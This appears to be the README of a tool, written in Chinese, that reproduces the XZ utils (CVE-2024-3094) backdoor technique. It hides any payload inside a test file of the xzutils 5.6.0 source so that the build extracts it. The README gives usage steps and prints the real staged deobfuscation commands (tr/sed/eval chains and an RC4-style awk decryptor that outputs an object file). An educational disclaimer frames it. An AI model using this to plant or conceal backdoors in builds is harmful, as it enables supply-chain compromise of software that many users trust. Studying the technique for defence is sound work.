用于以与 XZ utils 攻击 (CVE-2024-3094) 相同的方式混淆载荷的脚本
此脚本复现了 XZ utils 攻击（CVE-2024-3094）所使用的混淆技术。 它仅在 xzutils v5.6.0 上经过测试。
⚠️ 此代码仅供教育目的使用，不应被用于恶意活动。风险自负。 ⚠️
你的工作目录中必须包含来自 xzutils 5.6.0 的原始 good-large_compressed.lzma 文件。
运行以下命令：
./obfuscate_payload.sh [your_payload]
将生成一个 good-large_compressed.lzma.modified 文件，你需要将其放入 xzutils 5.6.0 源代码的 test/files 文件夹中，并命名为 good-large_compressed.lzma。
随后，后门将在编译过程中被提取出来。
此代码已使用与原始文件大小相同的、经修改的 liblzma_la-crc64-fast.o 进行测试。使用更大的文件可能无法正常工作，因为载荷大小受限。
此部分为可选项，它演示了如何从 good-large_compressed.lzma 中去混淆提取载荷。你可以将其用于原始文件，或用于使用本项目生成的文件。
你的工作目录中必须包含来自 xzutils 5.6.0 的原始 good-large_compressed.lzma 和 bad-3-corrupt_lzma2.xz 文件。
bad-3-corrupt_lzma2.xz 中的脚本gl_am_configmake=bad-3-corrupt_lzma2.xz
gl_path_unmap='tr " \t_\-" "\t \-_"' # Reverse the character mapping
gl_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"
gl_reverse_config="sed ':a;N;\$!ba;s/\n//g' $gl_am_configmake | eval $gl_path_unmap"
eval $gl_reverse_config
这将得到一个 bash 脚本，用于执行步骤 2。
good-large_compressed.lzma 中的第二个脚本运行以下代码（取自阶段 1 的输出）：
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc
这将得到另一个 bash 脚本，用于执行步骤 3。
good-large_compressed.lzma 中的载荷运行以下代码（取自阶段 2 的输出）：
W=88792
N=0
p="good-large_compressed.lzma"
i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)"
xz -dc $p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
这将提取混淆后的载荷 liblzma_la-crc64-fast.o。